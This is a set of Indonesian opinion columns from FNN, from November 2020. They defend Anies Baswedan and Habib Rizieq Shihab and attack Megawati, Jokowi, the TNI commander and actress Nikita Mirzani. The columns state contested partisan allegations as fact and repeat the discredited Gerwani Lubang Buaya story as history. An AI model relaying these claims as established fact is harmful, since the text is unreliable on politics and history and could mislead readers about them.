by Asyari Usman Jakarta FNN - Selasa (17/11). Belum lama ini, Ketum PDIP Megawati Soekarnoputri mengatakan Jakarta sekarang amburadul. Tak disangsikan, dia tujukan itu kepada Anies Baswedan sebagai gubernur yang tak becus. Tapi, setelah dilihat dengan jelas, rupanya Jakarta amburadul itu hanya karena pandangan mata Bu Mega saja. Rakyat Jakarta yang tulus dan jujur megakui Jakarta menjadi lebih baik. Jakarta belum sempurna? Tentu iya. Masih banyak yang belum tertuntaskan. Namun, sudah banyak yang dikerjakan. Oleh Anies. Dan dalam waktu relatit singkat. Semua kerja Gubernur Anies terukur dan nyata. Selain pengakuan lisan dari rakyat Jakarta, pencapaian Anies diakui oleh sekian banyak kementerian dan lembaga negara yang memberikan penilaian hasil kerja pemprov dan pemkab. Tidak hanya itu, sejumlah lembaga internasional juga membukukan pengakuan mereka terhadap hasil kerja Anies. Yang terbaru adalah Penghargaan Sustainable Transport Award 2021. Jakarta dijuluki sebagai kota dengan sistem angkutan publik terbaik. Untuk penilaian selama lebih setahun belakangan ini. Bahwa hasil bagus yang dicapai hari ini adalah rangkaian kerja yang sambung-menyambung dari gubernur ke gubernur, tidak ada yang membantah. Cuma, puncak kerja bagus itu terjadi di era Anies. Selain sektor angkutan publik, ada banyak kerja yang non-kesinambungan (kerja yang tidak melibatkan gubernur-gubernur terdahulu) yang direalisasikan oleh Anies. Sebut saja itu perbaikan kualitas ‘public spaces’ (ruang publik). Termasuklah, misalnya, trotoar, taman-taman kota, koridor-koridor antarkomplek atau antarblok, dlsb. Untuk kerja-kerja ‘face surgical’ (operasi wajah) kota Jakarta ini, semua orang bisa melihat perbaikan yang nyata. Pojok-pojok komersial Ibukota terasa semakin nyaman. Indah dan rapi. Anies memperbaiki wajah kota sampai ke kesetaraan internasional. Walaupun masih banyak lagi tunggakan. Artinya, kalau Bu Mega menyimpulkan Jakarta amburadul, bagaimana lagi beliau akan menilai Indonesia di bawah Presiden Joko Widodo (Jokowi)? Indonesia yang sarat utang; Indonesia yang tak punya “cash flow”; Indonesia yang masuk perangkqp China; Indonesia yang gali lubang tutup lubang. Indonesia yang serba impor. Indonesia yang nyaman bagi para koruptor. Indonesia yang mengutamakan segelintir pengusaha rakus. Indonesia yang menindas rakyat jelata lewat Omnibu Law UU Cilaka. Indonesia yang mentradisikan pencurangan pemilu dan pilpres. Indonesia yang mendiamkan kematian 700 petugas KPPS. Indonesia yang brutal terhadap pengunjuk rasa damai. Dst, dst. Mau bilang apa Bu Mega? Tentu terserah beliau mau bilang apa tentang Indonesia yang dipimpin Jokowi. Suka-suka hati dialah mau menilai Indonesia yang sedang gonjang-ganjing ini. Boleh jadi Bu Mega akan mengatakan hasil kerja Jokowi hebat. Bu Mega bisa katakan apa saja. Mau bilang sangat bagus, silakan. Mau bilang Indonesia terbaik dalam menumpuk utang, juga silakan. Mau dikasih penghargaan sebagai pengutang terbaik di dunia, tak ada masalah. Hanya saja, rakyat di mana-mana mengatakan Indonesia ini sedang centang-prenang. Indonesia menjadi “ambyaradul”. Di tangan Jokowi. Dalam waktu relatif singkat juga.[] (Penulis wartawan senior FNN.co.id)

Nikita Dipelihara Siapa?

by M Rizal Fadillah Bandung FNN – Selasa (17/11). Nikita Mirzani menjadi sangat populer untuk tiga hal. Pertama, sebagai artis yang paling seronok. Kedua, menghina Habib Rizieq Shihab (HRS). Ketiga, dilindungi oleh Polisi. Kontroversi dirinya bukan semakin terkendali, tetapi justru tambah "menantang". Belakangan Nikita Mirzani berani mengklaim kalau dirinya sebagai aset negara. Apakah dia memang sedang dipelihara? Sebab Ade Armando saja menduga kalau Nikita Mirzani sedang menjalankan misi Presiden Jokowi. Ironi kan? Toleransi dan support atas akting dan tampilannya menjadi cermin bobroknya moral bangsa sekarang. Jika, kalau kekuasaan berada di belakangnya, maka sama saja dengan mendukung moral dekaden. Hal ini berarti pelecehan yang nyata-nyata terhadap hukum. Nikita semestinya bukan dilindungi aparat. Tetapi segera diproses secara hukum karena beberapa alasan. Pertama, penghinaan atau pencemaran terhadap Habib Rizieq Shihab, yang artinya telah nyata-nyata melanggar ketentuan Pasal 310 ayat (1) KUHP maupun Pasal 27 ayat (3) Jo Pasal 45 ayat (3) UU Informatika dan Teknologi Elektronika (ITE). Tentu ini adalah klacht delict. Kedua, melanggar UU No. 44 tahun 2008 tentang Pornografi. Pasal 10 UU Pornografi menyatakan, "setiap orang mempertontonkan diri dan orang lain dalam pertunjukan atau di muka umum yang menggambarkan ketelanjangan, eksploitasi seksual, persenggamaan, atau yang bermuatan pornografi lainnya". UU No. 44 tahun 2008 Pasal 36 mengatur sanksi pidana atas perbuatan dalam Pasal 10 tersebut di atas dengan hukuman penjara 10 tahun dan/atau denda sebesar Rp 5 miliar. Dengan video yang beredar, Nikita Mirzani sudah terkena ketentuan UU Pornografi tersebut, karena diduga elemen delik yang ada pada pasal-pasalnya akan mudah untuk dipenuhi. UU Pornografi dibuat untuk mencegah terjadinya dekadensi moral. Konsideran UU ini antara lain menyatakan, "bahwa Negara Indonesia adalah negara hukum yang berdasar Pancasila dengan menjunjung tinggi nilai-nilai moral, etika, akhlak mulia, dan kepribadian luhur bangsa, beriman dan bertakwa kepada Tuhan Yang Maha Esa, menghormati kebinekaan dalam kehidupan bermasyarakat, berbangsa, bernegara, serta melindungi harkat dan martabat setiap warga negara". Nah sudah sangat jelas kan? Sebenarnya tinggal proses hukum terhadap Nikita Mirzani dilaksanakan saja. Agar tidak ada pembiaran terhadap dugaan perilaku pornografi atau pornoaksi. Ataukah Indonesia akan semakin bobrok karena membiarkan borok-borok yang seperti ini? Kita tidak perlu mengulangi jaman Orde Lama, dimana saat pelacur-pelacur dari Gerwani menari-nari telanjang di lubang buaya. Mereka bersuka ria atas terbunuhnya para Jendral TNI-AD oleh pasukan Cakrabirawa pimpinan Letkol Untung. Para pelacur Gerwani menari telanjang sebagai wujud dan alat perjuangan komunis yang berprinsip menghalalkan segala cara. Atau juga para pelacur yang dimanfaatkan oleh Soekarno untuk menjadi bagian dari pergerakan kemerdekaa? Soekarno merujuk pada keberadaan pelacur yang menjadi tokoh di Perancis seperti Madame de Pompadoure dan Theroigne de Merricourt. Sayangnya, kita kini sudah merdeka. Negara telah berkomitmen untuk membangun bangsa dengan berbasis pada nilai-nilai moral yang luhur. Penulis adalah Pemerhati Politik dan Hukum.

Dua Jenderal Dicopot, HRS Akan Dipenjara?

by Tony Rosyid Jakarta FNN – Selasa (17/11). Kepulangan Habib Rizieq Shihab (HRS) membuat penguasa panik. Itu wajar-wajar saja. Selama ini, sepak terjang Habib Rizieq dianggap sangat merepotkan penguasa. Apalagi ketika tokoh yang dipanggil HRS ini terus-menerus menyerukan Jokowi mundur. Kendati seruan ini tak lagi terdengar setelah HRS pulang ke Indonesia. Sudah berubah? Atau memang lagi atur strategi? Begitu juga narasi revolusi. Kata ini sering keluar dari caramah HRS. Namun belakangan, kata revolusi berubah jadi “revolusi akhlak”. Tentu saja beda makna dan penekananya. Apakah ini bagian dari strategi untuk menghindari pasal makar? Yang pasti, kepulangan HRS telah memakan banyak korban. Kapolda Metro Jaya Irjen Pol. Nana Sujana dicopot. Begitu juga Kapolda Jawa Barat Irjen Pol. Rudi Sufriadi juga dicopot. Tak hanya dua Kapolda, dua kapolres juga ikut dicopot, yaitu Kapolres Jakarta Pusat dan Kapolres Bogor. Empat perwira polisi ini adalah kepala kepolisian di wilayah dimana HRS mengadakan acara yang menghadirkan puluhan hingga ratusan ribu massa. Mereka berampat itu adalah perwira polisi terbaik. Bukan saja di wilayah hukukmnya, tetapi terbaik di seluruh Indonesia. Tentu tidak ada yang kebetulan. Pencopotan dua Kapolda dan dua kapolres secara bersamaan sulit jika tidak dihubungkan dengan sepak terjang HRS. Apalagi telah diungkapkan bahwa pencopotan mereka karena dianggap tidak tegas mencegah pelanggaran protokol kesehatan di acara HRS. Situasi politik makin tegang ketika Anies Baswedan, Gubernur DKI Jakarta juga dipanggil Polda Metro Jaya hari ini terkait pelanggaran protokol kesehatan yang dilakukan HRS. Melalui surat bernomor B/19925/XI/RES. 1.24/2020/DITRESKRIMUM, Anies akan diminta untuk meberikan klasifikasi terkait acara HRS. Anies sebelumnya telah konferensi pers, dan menjelaskan kepada publik bahwa prosedur pencegahan terhadap semua kegiatan yang berpotensi menciptakan penyebaran Covid-19, termasuk kepada HRS, telah dilakukan. Melalui Wali Kota Jakarta Pusat, surat sudah dikirim. Bahwa Pemprov DKI tak memberi ijin segala bentuk kegiatan yang berpotensi terjadinya kerumunan. Anies telah menunjukan sikap yang tegas. Ini berlaku untuk siapa saja. Tidak panda bulu. Buktinya ketika HRS melangsungkan acara walimah dan Maulid Nabi, Anies memberi sanksi denda Rp. 50 juta kepada HRS. HRS berlapang dada dan langsung membayar denda itu. Cash pula! Anies telah menjalankan prosedur kesehatan dengan benar, sesuai Pergub Nomor 79/2020 tentang Protokol Kesehatan, dan Pergub Nomor 80/2020 tentang PSBB. Lalu, apa yang salah dengan Anies sehingga Ditreskrimum Polda Metro Jaya harus memanggilnya dan minta klasifikasi? Sementara, berbagai kasus pelanggaran terhadap protokol kesehatan telah banyak terjadi di berbagai wilayah selama rangkaian Pilkada 2020. Tetapi Bareskrim tidak memanggil kepala daerah tersebut. Kapolda dan kapolresnya juga nggak dicopot. Publik mempertanyakan tindakan ini. Ganjil saja! Misal di Solo dan Medan. Rombongan yang mengantar Gibran Rakabuming dan Bobby Nasution, anak dan menantu Jokowi untuk mendaftar Cawalkot ke KPUD berkerumun banyak orang. Banyak yang ngggak pakai masker. Mereka mengabaikan protokol kesehatan dan melanggar aturan PSBB. Kenyataan Gibran dan Bobby ini diungkapkan sendiri oleh ketua Badan Pemenangan Pemilu PDIP Bambang Wuryanto. Bambang mengatakan bahwa "kerumunan yang ditimbulkan dari massa pendukung Gibran dan Bobby saat mendaftar ke KPU merupakan hal yang tak dapat dihindarkan" ....ekspresi gembira suka bikin lupa bahaya, katanya lagi. (5/9) Begitu juga Parade Merah Putih di Kabupaten Banyumas. Ansor dan Banser mengerahkan 7.000 massa. Yaqult bilang 9.999 pasukan. Kegiatan parade ini mendapatkan ijin dari pemerintah daerah. Mungkinkah 7.000 atau 9.999 orang ini bisa menghindari kerumunan? Saat berbaris, mungkin bisa. Sebelum dan setelah acara? Apalagi saat mereka sedang menyantap lezatnya makanan yang dihidangkan. Demikian juga dengan kegiatan pengajian dan dzikir Habib Lutfi di Pekalongan Jawa Tengah. Sama dengan HRS, Habib Lutfi juga punya magnet sosial yang luar biasa besar. Tentu, setiap kegiatan yang Habib Lutfi adakan akan dihadiri oleh puluhan hingga ratusan ribu jama'ah. Mereka berkerumun, dan terjadi juga pelanggaran terhadap protokol kesehatan. Banyak kegiatan-kegiatan lainnya yang dipastikan terjadi pelanggaran protokol kesehatan. Namun demikian, Kapolda, kapolres dan kepala daerah dimana pelanggaran itu terjadi, tetap amansaja . Tetapi, jika HRS yang mengadakan kegiatan itu, para pejabatnya patut untuk was-was. Ada rasa ketidakadilan disini. Itu pasti. Pemerintah dianggap tebang pilih dalam bersikap. Ada perlakuan yang berbeda antara HRS dengan yang lain. Sikap pemerintah ini patut dikoreksi dan dikritik. Sebab, ketidakadilan berpotensi menimbulkan kecemasan dan ketegangan sosial. Jika kita bertanya, mengapa perlakuan terhadap HRS berbeda dengan yang lain? Mengapa dua Kapolda dan dua kapolres tempat dimana HRS mengadakan acara harus dicopot? Mengapa Anies Baswedan, Gubernur DKI dipanggil Ditreskrimum Polda Metero Jaya untuk klasifikasi acara HRS? Jawabnya, HRS dianggap tokoh berbahaya. Karena itu, perlu dicegat langkahnya. Cara paling efektif adalah mendorong semua aparat kepolisian dan kepala daerah melarang dan menghalangi panggung HRS. Dengan dicopotnya dua Kapolda dan dua kapolres serta dipanggilnya Gubernur DKI, ini akan jadi peringatan buat para Kapolda, kapolres dan kepala daerah yang lain. Jika mereka tak mencegah kegiatan-kegiatan HRS berikutnya, maka nasib mereka bisa jadi akan sama dengan dua kapolda dan dua kapolres yang dicopot di DKI Jakarta dan Jawa Barat. Kepala daerah yang nekat, tak menutup kemungkinan akan berurusan dengan polisi. Lalu, bagaimana reaksi dan langkah HRS setelah melihat perlakuan seperti ini? Apakah akan menyerah dan berhenti ceramah? Atau tetap akan melanjutkan road show-nya memperbesar massa dan melakukan konsolidasi jama'ah untuk melaksanakan “revolusi akhlak”? Jika berhenti ceramah, atau ceramah via zoom, maka gaung HRS akan lambat laun memudar. Heroisme HRS akan melamah, lalu dilupakan rakyat. Disisi lain, jika HRS tetap melanjutkan road show-nya, boleh jadi ia akan menghadapi banyak persoalan. Terutama soal ijin acara dan tuduhan pelanggaran Covid-19. Tak menutup kemungkinan ada lagi kasus kriminal yang menjadi alasan HRS ditangkap dan dipenjara. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

FPI Pesta Pora, Pendukung Istana Ambyar (bagian 1)

Mereka bersemangat merayakan pesta akbar yang belum pernah kita saksikan saat penyambutan raja, kepala negara, presiden, olahragawan, apalagi artis. Bahkan, jumlah penyambut Rizieq jauh lebih banyak ketimbang jumlah pendukung Joko Widodo saat mengaraknya dari gedung MPR/DPR/DPD RI, Senayan, Jakarta, tahun 2014. by Mangarahon Dongoran Jakarta, FNN - Selasa (17/11). Seminggu sudah Front Pembela Islam (FPI) mengadakan pesta akbar. Dimulai dari penyambutan pimpinan tertinggi FPI Imam Besar Habib Rizieq Shihab, yang tiba di tanah air, Selasa, 10 November 2020 yang lalu. Sejak Ketua Umum FPI, Ahmad Sobri Lubis mengumumkan rencana kepulangannya di hadapan massa demo, di Patung Kuda, Jakarta Pusat, Selasa 13 Oktober 2020 yang lalu, berbagai persiapan pesta akbar penyambutannya dirancang sedemikian rupa. Ya, ibarat sebuah hajatan perkawinan atau sunatan, tentu penyelenggara atau tuan rumah mempersiapkan segala sesuatunya dengan rapi, agar tamu-tamu undangan merasa nyaman menghadirinya. Rapat maraton pun terus dilakukan, terutama sepekan sebelum kepulangannya dari pengasingan di Tanah Suci Mekah yang sudah berlangsung 3,5 tahun. Berbagai skenario dilakukan, termasuk kemungkinan pesawat yang ditumpangi Habib Rizieq dan rombongan "dipaksa" mendarat di Bandara Halim Perdanakusumah - pangakalan militer - di Jakarta Timur guna mengelabui para penyambutnya yang berkonsentrasi di Bandara Sukarno-Hatta Cengkareng, Tangerang, Banten. Skenario terburuk pun diantisipasi, yaitu kemungkinan Habib Rizieq ditangkap aparat keamanan atau menjadi sasaran pembunuhan seperti yang dialami oposisi Manila, Benigno Aquino Jr, pada 21 Agustus 1983, di Bandara Internasional Manila, saat pulang dari pengasingan, Amerika Serikat. Sekedar mengingatkan kembali, Benigno Aquino yang berada di pengasingan selama tiga tahun adalah musuh politik Ferdinand Marcos, Presiden Filipina waktu itu. Kematiannya justru menambah vitamin penyemangat perlawanan dari pendukungnya, yang akhirnya menumbangkan Ferdinand Marcos, dan digantikan oleh Crozon Aquino, istri mendiang Benigno Aquino. FPI pesta akbar! Kembali ke penyambutan Imam Besar FPI Habib Rizieq Shihab (IB HRS), sehari sebelum kedatangannya, para pendukung dan simpatisannya sudah mulai menyemut di markas FPI, Petamburan, Tanah Abang, Jakarta Pusat. Sejak pagi, massa yang didominasi pakaian serba putih terus berdatangan. Mereka datang dari berbagai daerah, menyemarakkan pesta akbar yang akan segera tiba. Semakin larut malam, jumlahnya bukan menyusut bahkan terus bertambah. Akibatnya, jalan Petamburan Raya yang menuju Tanah Abang dan menuju lampu merah (jembatan layang tol) Slipi pun sekali-sekali macet. Bagi mereka yang sudah paham akan ada pesta akbar FPI, langsung menghindar dari kawasan tersebut. Saya yang berada di kawasan markas FPI melihat betapa antusiasnya masyarakat untuk menyambut kedatangan habib yang saat ini dianggap orang yang paling berani terang-terangan melawan kezaliman. Senin (9/11/2020) malam saya menyaksikan umat yang ingin menyambut kedatangannya terlihat duduk-duduk berkelompok dan hilir- mudik terutama di jalan menuju markas FPI. FPI pesta akbar! Saya katakan antusias, karena ada beberapa orang yang sebenarnya tidak tahu di mana rumah HRS. Ada beberapa orang yang sempat menanyakan kepada saya, mengenai rumah Rizieq. Bahkan, seorang lelaki tua juga sempat bertanya kepada saya. "Yang mana rumah Habib Rizieq, Pak," tanyanya kepada saya. Saya jabaw, "Ya, di sini." Saat itu lelaki tua tersebut berada di gang kecil menuju rumah habib (bukan di jalan menuju gerbang rumahnya). Tentu, saya juga tidak mau konyol menunjuk rumah habib, walau saya tahu dan sudah sering keluar masuk rumahnya. Ini menyangkut keamanan, karena dalam situasi seperti itu bisa jadi akan ada orang yang menyaru, berpura-pura nanya, padahal disuruh orang lain untuk kepentingan tertentu (kepentingan negatif). Ya, itu baru rencana penyambutan di Petamburan. Belum lagi umat yang berduyun-duyun datang ke Bandara Sukarno-Hatta. FPI pesta akbar! Berdasarkan laporan yang saya baca, baik media resmi online, apalagi medsos, kawasan Bandara Sukarno-Hatta pun sudah mulai dipenuhi umat sejak Senin malam. Bahkan, hotel di sekitar bandara penuh dibooking umat dan berbagai pihak yang berkepentingan. Suasana semakin padat menjelang dan sesudah solat subuh. Sebab, begitu selesai solat Subuh, sebagian umat Islam, baik yang tidur di rumah masing-masing, di masjid, di hotel dan juga sebagian yang ada di Petamburan langsung meluncur ke Bandara Sukarno-Hatta. Mereka tak mengenal lelah. Mereka ingin segera manyambut sang imam yang sudah lama dirindukan. Pendukung Istana Hambar Tidak heran, sejak pukul 6.00 pagi akses jalan tol menuju bandara mulai tersendat. Penyambutan yang luar biasa, akhirnya membuat akses tol menuju Bandara Sukarno Hatta macet total. Akibatnya, banyak calon penumpang pesawat yang tidak bisa terbang. Selain itu, 118 penerbangan pun di delay. Luar biasa! Masih dalam tayangan video viral yang bisa ditonton, penyambutan luar biasa juga dilakukan para karyawan Angkasa Pura 2 di sekitar pesawat yang parkir. Pilot pesawat Arab Saudi pun terlihat dalam sebuah video "mengawal" Habib Rizeq berjalan di lorong keluar dari pesawat. Semua pendukung dan simpatisan FPI berpesta-pora menyambut kedatangannya. Mereka bersemangat merayakan pesta akbar yang belum pernah kita saksikan saat penyambutan raja, kepala negara, presiden, olahragawan, apalagi artis. Bahkan, jumlah penyambut Rizieq jauh lebih banyak ketimbang jumlah pendukung Joko Widodo saat mengaraknya dari gedung MPR/DPR/DPD RI, Senayan, Jakarta, tahun 2014. Kedatangan Habib Rizieq disambut luar biasa. Perjalanannnya dari Terminal 3 Sukarno-Hatta mendapat pengalawan dan sambutan yang luar biasa. Bahkan, tidak saja iring-iringan mobil, sejumlah pendukung yang menggunakan sepeda motor pun menerobas jalan tol Prof. Sediyatmo. Tentu, penyambutan yang luar biasa itu membuat lawan-lawan FPI banyak yang sakit gigi. Para pendukung istana ambyar dan banyak yang menjadi hambar. ** (Bersambung). Penulis adalah Wartawan Senior FNN.co.id

Mengapa Panglima TNI Uring-Uringan?

by M Rizal Fadillah Bandung FNN – Senin (16/11). Judul tulisan ini berkaitan dengan pernyataan Panglima TNI Marsekal TNI Hadi Tjahjanto di Cabang Denma Mabes TNI Jalan Merdeka Barat 14 November 2020 malam lalu. Pada pokoknya Panglima TNI menggaris bawahi soal pentingnya persatuan dan kesatuan dalam menjaga stabilitas nasional. Memang stabilitas nasional lagi bermasalah Pak Panglima? Kalau stabiltas nasional bermasalah, siapa yang menjadi pengganggunya? Pak Panglima tinggal tunjuk saja batang hidungnya. Pasti bakalan digebukin endiri ramai-ramai oleh rakyat. Namun bagaimana kalau yang mengganggu stabilitas nasionan itu, dengan sengaja membuat ekonomi terpuruk? Adakah TNI punya kemampuan untuk mendeteksi yang seperti ini? Apa yang sudah dilakukan Dimana peran deteksi intelijen TNI terhadap mereka yang menggagas dan menjadi inisiator Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP). Sekarang telah berubah lagi menjadi RUU Badan Pembinaan Ideologi Pancasila (BPIP). Mengapa Pak Panglima TNI diam ketika rakyat ribut soal RUU HIP dan RUU BPIP? Mengapa Panglima tidak bilang “ada yang mau mengganggu stabilitas nasional”? Menariknya, pernyataan Panglima ini disamping bukan disampaikan dalam acara HUT TNI atau acara resmi TNI lainnya. Disampaikan saat Panglima didampingi Pangkostrad Letjen Eko Margiyono, Danjen Kopassus Mayjen Mohamad Hasan, Dankormar Mayjen TNI (Mar.) Suhartono, dan Dan Korpaskhas Marsda Eris Widodo Yuliastono. Artinya didampingi para koman dan pasukan "tempur". Menyangkut tugas TNI untuk menjaga persatuan dan kesatuan itu pasti. Sudah dipahami oleh semua prajurit TNI. Tugas TNI untuk menjamin stabilitas nasional, itu adalah hal yang normatif saja. Tetapi adanya sinyalemen dan nada ancaman, tentu menimbulkan tanda tanya. Adakah ketegangan dan kegelisahan yang mengharuskan TNI "keluar" seperti ini? Dua hal kandungan kegelisahan yang mencolo. Pertama, sinyalemen adanya provokasi dan ambisi yang "dibungkus dengan berbagai identitas". Kedua, kalimat ancaman "ingat, siapa saja yang mengganggu persatuan dan kesatuan bangsa akan berhadapan dengan TNI. Hidup TNI, hidup NKRI". Lho, memangnya ada yang mau mengganggu? Ko nggak ditangkap? Tidak jelas juga target ancaman tersebut Panglima itu. Atau apakah itu berhubungan dengan nyanyian 'kasidah' prajurit TNI yang melantunkan "ahlan habibana" yang ditangkap dan diborgol tersebut? Betapa bahayanya nyanyian provokasi itu. Atau ketakutan oleh kepulangan Habib Rizieq Shihab (HRS), yang sejak penyambutan hingga acara-acaranya disambut dengan massa yang membludak? Jika urusan "sedahsyat" itulah yang dimaksud dengan pernyataan Panglima Hadi, maka sebenarnya TNI tak perlu gertak-gertak atau unjuk kekuatan segala. Kan ada Kepolisian yang siap menangani gangguan "provokasi" dan "ambisi" yang mengganggu keamanan. Ataukah TNI sudah tak percaya pada Polisi lagi? Kalau begitu adanya, maka terlaluuuuu. Netizen pun berkomentar macam-macam. Diantaranya meng-aplause tekad TNI untuk menjaga NKRI. Tetapi menyindir pontang-pantingnya para prajurit dan Panglima menghadapi "provokasi" dan "ambisi" pengganggu dan pengacau di Papua. Ngurus dan hadapi pemberontak bersentaja di Papua, nggak beres-beres. Namun kalau mengahadapi sivil society garangnya minta ampun. Demikian juga menghadapi ancaman Tentara Cina yang masuk, dan bergerak dengan leluasi di wilayah Kepulauan Natuna. Rakyat menyaksiklan dan melihat sendiri kalau "minder" nya TNI yang prajuritnya hebat-hebat itu. Baru mulai nyaman dari kegelisahan atas "provokasi" dan "ambisi" Cina itu setelah datangnya tawaran bantuan dari Amerika Serikat. Pompeo sang penenang jiwa. Kalau begini, ketegangan negara tak perlu diperlihatkan. Aada banyak cara, termasuk operasi intelijen untuk mengantisipasi "provokasi" dan "ambisi" dimaksud. Atau memang sebenarnya negara benar-benar sudah gelisah dan tegang ? Wah kasihan kalau begitu. Sebaiknya Pak Hadi Tjahjanto tidak harus tampil beringas unjuk kumis demi NKRI. Janganlah hanya menakut-nakuti dan berhadapan dengan rakyat, Pak TNI. Penulis adalah Pemerhati Politik dan Kebangsaan.

Anies Tegas, Beri Sanksi Kepada HRS

by Tony Rosyid Jakarta FNN – Senin (16/11). Habib Rizieq Shihab (HRS) punya magnet sosial yang luar biasa. Fenomena ini terlihat dari penyambutan massa di bandara saat Habib Rizieq pulang dari Makkah Arab Saudi. Ada puluhan, mungkin ratusan ribu, bahkan ada medias asing yang mengatakan jutaan massa yang menjemput kepulangan Habib Rizieq. Sepulang dari Makkah, massa terus berdatangan. Dimanapun Habib Rizieq berada massa memburunya seperti semut mengerumuni gula. Begitulah faktanya. Antusiasme untuk bertemu dan melepas rindu kepada Habib Rizieq tak bisa dibendung lagi. Semua berebut untuk melihat, berdekatan dan bersalaman. Ada nuansa heroisme. Hari-hari berikutnya, massa tetap berdatangan ke rumah Habib Rizieq. Mereka yang datang tidak hanya dari Jakarta dan wilayah Jawa. Banyak yang datang dari Bali, Sumatera, Kalimantan dan Sulawesi. Kabarnya, ada yang datang dari Maluku dan Papua. Sambutan terhadap Habib Rizieq juga terjadi di Gadog Puncak, sepanjang arah menuju Mega Mendung, tempat dimana Habib Rizieq mendirikan pesantren. Keluar dari tol Ciawi, massa berjubel memenuhi seluruh penggiran jalan raya. Sabtu kemarin, di rumah Habib Rizieq digelar acara pernikahan putrinya. Juga bersamaan dengan sacara Maulid Nabi. Acara tersebut mengundang banyak massa. Mereka memanfaatkan momen terbuka ini untuk berjumpa dan bersalaman dengan Habib Rizieq. Dalam acara walimah dan Maulid Nabi itu, kerumunan terjadi. Meski menggunakan masker, massa terlihat tak berjarak. Satu dengan yang lain berdesakan. Social distancing tak berlaku. Semangat untuk bertemu Habib Rizieq membuat massa lupa akan protokol kesehatan dan aturan Pembatasan Sosial Berskala Besar (PSBB). Mereka tak disiplin dan melanggar aturan kesehatan. Aturan tetap saja aturan. Harus ditegakkan kepada siapapun. Tak pandang bulu. Bagi Anies, Gubernur Jakarta ini, tak perlu ada dilema. Habib Rizieq salah, ya harus diberi sanksi. Peraturan berlaku untuk semua. Untuk pegawai honorer Pemprov DKI yang dipecat, untuk Habib Rizieq, dan untuk masyarakat secara luas. Siapapun yang melanggar, aturan diberlakukan. Habib Rizieq langgar Pergub No. 79 Tahun 2020 tentang Protokol Kesehatan, dan Pergub No. 80 tentang PSBB. Sanksi atas pelanggaran kedua pergub ini adalah denda 50 juta rupiah. Atas pelanggaran ini, Pemprov DKI Jakarta melalui Kasatpol PP DKI melayangkan surat pemberian sanksi denda kepada Habib Rizieq. Surat Nomor 2250/-1.75 telah diterima, dibaca, lalu Habib Rizieq membayar denda. Cash! Tidak tebang pilih, Anies menegakkan aturan untuk semua. Siapapun yang melanggar aturan Pergub Covid, maka akan diberikan sanksi. Tak peduli dia pejabat atau rakyat. Konglomerat atau tokoh masyarakat. Semua sama di depan hukum. Keadilan untuk semua. Anies, sebagai Kepala Daerah sudah tepat mengambil sikap tegas ini. Atas sanksi denda tersebut, Habib Rizieq juga berjiwa besar. Habib Rizieq bahkan mendukung langkah dan sikap tegas Anies ini. Kalau Habib Rizieq nggak diberi sanksi, bagaimana nantinya umat? Semua bisa ikutan melanggar tanpa sadar. Kalau Anies nggak tegakkan aturan, bagaimana dia bertanggung jawab di depan rakyat. Orang-orang yang pernah dapat denda bisa protes dan minta duitnya kembali. Bisa berabe. Cebong akut, buzzer dan infulencer rupiah sudah bersiap-siap dengan sejumlah jurus untuk menyerang Anies. Sayangnya gagal. Jika pemimpin di Indonesia tegas dan adil, maka negeri ini punya harapan untuk menjadi negara besar. Negara yang kaya akan Sumber Daya Alam (SDA) dan Sumber Daya Manusia (SDM) seperti Indonesia ini tak kunjung maju karena faktor penegakan hukum yang seringkali bermasalah. Produknya tumpang tindih, dan penegakan hukumnya terbang pilih. Tak ada negara maju di dunia jika produk dan penegakan hukumnya bermasalah. Ini PR bagi para pemimpin dan para penegak hukum. Meski punya hubungan baik, tak mengurangi ras hormat dan ta'dzimnya Anies kepada HRS. Gubernur DKI, tetap memiliki komitmen untuk menegakkan aturan yang berlaku. Apalagi, Pergub No. 79 dan 80 Tahun 2020 ini dibuat dan ditanda tangani oleh Anies sendiri. Anies pasti tahu konsekuensi atas tanda tangannya. Ini bukti bahwa Anies telah membaca semua pasal di dalam aturan itu sebelum dia tanda tangan. Emang ada yang tanda tangan sebelum baca? Jangan nyindir dan nyinyir doooooooong! Menerima surat denda, Habib Rizieq bersedia mematuhinya. Pendiri FPI ini menyadari kesalahan itu, dan dengan suka rela telah membayar denda tersebut. Lunas! Sebagai warga negara yang baik, Habib Rizieq menyatakan akan selalu taat pada aturan yang berlaku. Habib Rizieq tak mengelak. Tidak juga membantah. Apalagi lari dari hukuman. Habib Rizieq bukan Harun Masiku. Kader PDIP yang menghilang setelah ditetapkan jadi tersangka oleh KPK. Bukan juga Djoko Djandra, koruptor yang bisa mengatur para pejabat hukum sesuka hatinya. Sikap Habib Rizieq ini bisa jadi panutan buat seluruh masyarakat Indonesia. Ketaatan kepada hukum adalah hal paling utama dalam bernegara. Dari sinilah ketertiban sosial akan terajut. Kebangkitan bangsa punya optimisme untuk terwujud. Harapan sebagai bangsa besar terpampang di depan mata. Sikap Habib Rizieq ini jawaban terhadap penegakan hukum di Indonesia sangat memprihatinkan selama ini. Ada kesan tebang pilih. Lawan diperjarakan dan dihakimi. Sedangkan kawan dilindungi. Orang kaya boleh dinegoisasi. Yang miskin langsung masuk bui. Institusi hukum tak banyak bisa diharapkan untuk menegakkan keadilan. Harus dirombak. Anies dan Habib Rizieq telah memberi contoh yang sangat baik untuk bangsa ini. Meskipun keduanya berkawan, namun hukum tetap harus ditegakkan. Ini berlaku juga kepada yang lain. Tak pandang bulu. Pemimpin sejati bukanlah orang yang hanya bisa tegas kepada lawan. Tetapi lembek di depan kawan. Seseorang yang belum bisa bersikap adil kepada kawan dan lawan, dia bukan pemimpin. Mereka hanya orang-orang yang sedang berkuasa. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Betul Juga, Jakarta Semakin Enak Bro

